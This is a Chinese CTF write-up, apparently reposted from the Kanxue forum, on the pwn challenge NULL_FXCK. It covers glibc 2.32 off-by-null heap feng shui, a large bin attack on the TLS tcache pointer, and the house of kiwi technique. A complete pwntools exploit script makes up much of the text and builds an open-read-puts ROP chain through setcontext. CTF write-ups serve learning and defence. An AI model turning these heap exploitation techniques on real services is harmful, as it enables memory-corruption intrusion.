从PWN题NULL_FXCK中学到的glibc知识
2022-7-30 17:59:17 Author: 看雪学苑(查看原文) 阅读量:13 收藏


本文为看雪论坛精华文章

看雪论坛作者ID:Nameless_a

这题的风水堪称一绝,然后涉及的利用也非常新颖——house of kiwi在一年前来说可以说非常新鲜了,在今天衍生出的emma也是高版本主流的打法。

版本:

沙箱:

 
发现禁了execve,那就只能orw了。

保护:

ida

相信都开始研究这道题的各位师傅逆向都没有问题,就截一截ida里面比较重要的几个东西:
(1)add的截断:
 
 
虽然从bin中拿出chunk的指针没有被初始化,但是这个截断使得我们不能直接泄露libc和堆地址了。
 
(2)free禁止了UAF(这个就没必要截了)
 
(3)edit只能执行一次并且存在off_by_null:
 

思路

这里的思路其实有点公式化的味道,就和我们做数学题一样,都是通过题目给的条件来思考利用的手法
 
给了off_by_null就思考会用到堆块的合并导致的重叠。重叠带来的好处:
 
(1)通过切割堆块能使我们在合并的堆块内部任意地址写main_arena,这个任意地址可能是note数组的一个堆指针的fd,那么我们就可以泄露libc了
 
(2)合并的时候的unlink能使得我们在已知堆块的fd和bk上写一个堆地址,这样就可以弥补一开始的截断带来的不能泄露堆块,然后成功泄露出堆块了

堆风水泄露libc和堆地址。

为了达成思路(1)(2)的libc和heap的泄露,需要一个非常细致的堆的布局,首先说说几个可能遇到的问题:
(1)合并的时候对堆的fd和bk的检测:
free(P)的时候,如果P不是tcache或者fastbin大小的话,就会检测P的前一个堆块(低地址)和后一个堆块(高地址)的使用情况(即它们的后一个堆块的PREV_INSURE位),如果也是free,就会考虑合并。合并的时候,会检测除P外的另一个堆块的fd和bk指针:
记另一个堆块为Nfwd=N->fd;bck=N->bk;if(fwd->bk != N || bck->fd !=N) exit(-1);fwd->bk=bck;bck->fd=fwd;
上面的代码大致表示了unlink的过程。
 
之前做过的unlink都是已知了堆地址,然后unlink环节将fd和bk全都设置为N自身,达到绕过检测的目的。
 
这题比较厉害的地方就是,在不知道堆地址的情况下实现的unlink:
 
(1)首先通过将堆块放入unsorted bin(下面简称ub)将一个堆块的fd和bk分别写上不同的堆地址:
 
先add(0~6)然后delet(0,3,5),堆的布局如下图:
发现堆块3就是一个bk和fd都有堆指针的堆块了,后续考虑一个堆块向上与3合并。那么我们就要先修改3的size,如何修改呢?
 
delet(2)导致2和3在ub里发生合并,重新申请一个大小大于2的堆块就能修改3的size了。我们直接将3的size设置的很大,使得3的next_chunk指向top_chunk,因为考虑新生成堆块7并且edit(6)进行off_by_null修改7的pre_size和size的PREV_INSURE,这样delet堆块7就能向上和3合并了
 
但我们发现,合并的时候会报错,这是因为我们没有绕过unlink里面的检查,也就是没有成功设置好5和0的fd和bk。

我们发现,切割2和3合并的堆块会有一个剩下的堆块我们记作L。L的地址和3离得很近,可能就是低两位不同。如果,3的低两位是'\x00',我们就通过将L和0放入unsorted bin 设置bk指针。
把L和5放入large bin设置fd指针(放入ub的话取出的时候目标堆块的fd指针会变),在申请0和5的时候,触发add中的截断,就能够在fd或bk上设置好3的地址,绕过unlink的检查完成合并。
 
合并好后,我们就可以通过切割堆块,在4的fd指针上布局main_arena。不过一开始的main_arena应该是以'\x00'结尾的,还是不能泄露。通过add一个大堆块放入largebin就好了,这样show(4)就能够泄露libc了。
 
同时unlink也会使得0的bk指针为5,5的fd指针为0,show其中任何一个都能泄露堆块。

house of kiwi

发现这题中的exit被换成了_exit,而_exit是不会存在house of pig里面的那条链子的,它直接就是一个exit的系统调用然后程序就结束了,所以任何打exit的链子都不能直接拿来用。遇到这种问题,有的师傅就开辟了一条名为house of kiwi的链子。
主要是打__malloc_assert断言,有一个位于_IO_file_jumps+0x60的稳定的跳转指针sync和稳定的rdx——_IO_helper_jumps,而且这两个地方在gdb里都是有符号表的(比banana好找多了2333):
那么我们通过两次任意地址写就行了?非也。因为还需要触发assert
 
如何触发assert?看看malloc.c的源码,ctrl f输入"assert",发现有80多个
 
这里介绍其中一种做法:
 
当top_chunk的大小不够分配时,则会进入sysmalloc中:
......assert ((old_top == initial_top (av) && old_size == 0) ||        ((unsigned long) (old_size) >= MINSIZE &&         prev_inuse (old_top) &&         ((unsigned long) old_end & (pagesize - 1)) == 0));......
发现很多检测,我们注意到对topchunk的prev_inuse的检测,只要把topchunk的size位的prev_inuse置为0,申请一个比它大的堆块就可以触发了。
 
我们发现,至少需要改三个地址,也就是执行三次任意地址写。从这道题的严苛条件,不能用tcache poison等简单手法。

TLS段tcache struct attack

我们都知道,malloc_init会在heapbase段开设一个内存用于管理tcache。而这个管理tcache的地址,是可以从heapbase被我们劫持到另一个地方的,这是因为实际寻找的时候,是找到TLS段的管理tcache的地址,只不过malloc_init函数预设成了heapbase+0x10而已(注意,是heapbase+0x10而不是heapbase),我们可以在gdb中找到这段区域:
通过largebin attack劫持这段为可控堆块,在上面布置任何我们想写的东西,malloc对应位置size大小就能够申请出来并且改写了(这里的偏移要调一调,不过也可以拿exp的模板直接来用,也就是)
 
通过改稳定的跳表sync为setcontext+61(因为setcontext会将[rdx+0xa0]设置为rsp,将[rdx+0xa8]设置为rip),将稳定的rdx _IO_helper_jumps设置为_IO_helper_jumps+0xa0为存orw链,+0xa8为ret指令,并改top_chunk的size,然后申请一个比它的size大的堆块触发assert就可get_shell了

总结

这道题考察了高版本的off_by_null,large bin attack,house of kiwi , TLS attack。虽然很折磨,但是是不可否认的好题,能让第二次接触2.31以上版本的我学到不少东西。

exp

from pwn import *from hashlib import sha256import base64context.log_level='debug'#context.arch = 'amd64'context.arch = 'amd64'context.os = 'linux'def proof_of_work(sh):    sh.recvuntil(" == ")    cipher = sh.recvline().strip().decode("utf8")    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')    sh.sendlineafter("input your ????>", proof)##r=remote("123.57.69.203",7010)##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"}) ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; def z():    gdb.attach(r) def cho(num):    r.sendafter(">> ",str(num)) def add(size,content='\x00'):    cho(1)    r.sendlineafter("Size: ",str(size))    r.sendafter("Content: ",content) def edit(idx,con):    cho(2)    r.sendlineafter("Index: ",str(idx))    r.sendafter("Content: ",con) def show(idx):    cho(4)    r.sendlineafter("Index: ",str(idx)) def delet(idx):    cho(3)    r.sendlineafter("Index: ",str(idx)) def exp():    global r    global libc    libc=ELF('./libc-2.32.so')    r=process('./main')     ##[+]: fengshui 2 leak    add(0x418) #0    add(0x1f8) #1    add(0x428) #2    add(0x438) #3    add(0x208) #4    add(0x428) #5    add(0x208) #6     delet(0)    delet(3)    delet(5)    delet(2)    ##z()    add(0x440,0x428*'a'+p64(0xc91)) #0     add(0x418) #3 0x2b0    add(0x418) #2    add(0x428) #5 0x370    ##z()    delet(3)    delet(2)    ##z()    add(0x418,'a'*9) #2    add(0x418) #3    delet(3)    delet(5)    add(0x9f8) #3    ##z()    add(0x428,'a') #5    edit(6,0x200*'a'+p64(0xc90)+'\x00')    add(0x418) #7    ##z()    add(0x208) #8    ##z()    delet(3)    add(0x430,flat(0,0,0,p64(0x421))) #3    add(0x1600) #9    ##z()    show(4)    libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x1e4230    log.success('libcbase:'+hex(libcbase))    show(5)    heap=u64(r.recv(6).ljust(8,'\x00'))-0x2b0    log.success('heap:'+hex(heap))     ##[+]: set libc func    IO_file_jumps=0x1e54c0+libcbase    IO_helper_jumps=0x1e48c0+libcbase    setcontext=libcbase+libc.sym['setcontext']    open_addr=libcbase+libc.sym['open']    read_addr=libcbase+libc.sym['read']    puts_addr=libcbase+libc.sym['puts']    pop_rdi_ret=libcbase+0x2858f    pop_rsi_ret=libcbase+0x2ac3f    pop_rdx_pop_rbx_ret=libcbase+0x1597d6    ret=libcbase+0x26699    ##[+]: large bin attack to reset TLS    ##z()    ##edit(4,p64(libcbase+0x1e4230)+)     ##[+]: orw    target=heap+0x8e0    flag_addr = heap + 0x8e0 + 0x100    chain = flat(    pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,    pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,    pop_rdi_ret , flag_addr , puts_addr    ).ljust(0x100,'\x00') + 'flag\x00'     TLS=libcbase-0x2908    add(0x1240,0x208*'a'+p64(0x431)+0x428*'a'+p64(0x211)+0x208*'a'+p64(0xa01))    delet(0)    add(0x440,chain)    ##z()    add(0x418) #11    add(0x208) #12    delet(5)    delet(4)    add(0x1240,0x208*'a'+p64(0x431)+p64(libcbase+0x1e3ff0)*2+p64(heap+0x1350)+p64(TLS-0x20))#4    delet(11)    ##z()    add(0x500)    ##z()    add(0x410)    delet(4)    add(0x1240,0x208*'a'+p64(0x431)+p64(libcbase+0x1e3ff0)*2+p64(heap+0x1350)*2)    pd='\x01'*0x70    pd=pd.ljust(0xe8,'\x00')+p64(IO_file_jumps+0x60)    pd=pd.ljust(0x168,'\x00')+p64(IO_helper_jumps+0xa0)+p64(heap+0x46f0)    add(0x420,pd) #13    add(0x100,p64(setcontext+61))    add(0x200,p64(target)+p64(ret))    add(0x210,p64(0)+p64(0x910))    z()    add(0x1000)    ##z()    r.recvuntil('flag')    string=r.recvuntil('}')    flag='flag'+string    print(flag)    show(5)    r.interactive() if __name__ == '__main__':    exp()     ##setcontext and orw    ''''    orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)    orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)    orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)    orw+=p64(0xdeadbeef)    pd=p64(gold_key)+p64(free_hook)    pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'    pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw    r.sendafter(">>",pd)    flag=r.recvline()    '''

看雪ID:Nameless_a

https://bbs.pediy.com/user-home-943085.htm

*本文由看雪论坛 Nameless_a 原创,转载请注明来自看雪社区

# 往期推荐

1.指令级工具Dobby源码阅读

2.sql注入学习笔记

3.文件上传和文件包含的各种姿势

4.React Native Hermes 逆向实践

5.2022CISCN初赛 ez_usb WriteUp

6.APT Turla样本分析

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458459387&idx=1&sn=e2565825c7a6bca43d4b0a5b35d642c2&chksm=b18e2c7186f9a56757279ef7fe8afc1c2c3a57dc74c545180f5eb0d16f86d50f2aa52da62a59#rd
如有侵权请联系:admin#unsafe.sh